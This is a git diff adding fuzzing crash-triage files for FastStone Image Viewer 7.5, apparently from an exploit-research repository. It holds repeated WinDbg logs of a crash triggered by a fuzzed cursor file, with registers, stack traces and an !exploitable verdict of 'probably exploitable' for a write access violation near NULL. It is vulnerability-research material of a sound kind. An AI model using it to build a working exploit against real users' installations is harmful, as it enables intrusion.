+Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xA08: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xA08: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(a08.1714): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07fb7b19 edx=00000000 esi=00000000 edi=07ddafd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.780453548520653920000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.832483700000000000000e+0007 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.01676e-026 -2.85655e+016 -892.959 -6.85506e+008 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08098130 08015930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0021b000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0021b000 5ef4e14f 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b6 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0021b000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/19480/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/19480/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..d1b480a --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/19480/WindowsDebugEngine_description.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xA08: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xA08: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(a08.1714): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07fb7b19 edx=00000000 esi=00000000 edi=07ddafd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.780453548520653920000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.832483700000000000000e+0007 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.01676e-026 -2.85655e+016 -892.959 -6.85506e+008 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08098130 08015930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0021b000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0021b000 5ef4e14f 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b6 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0021b000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/19480/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/19480/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..94120c1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/19480/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/20056/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/20056/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/20056/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/20056/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/20056/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..b100a30 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/20056/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/20056/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/20056/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..32a85a9 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/20056/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x970: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x970: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 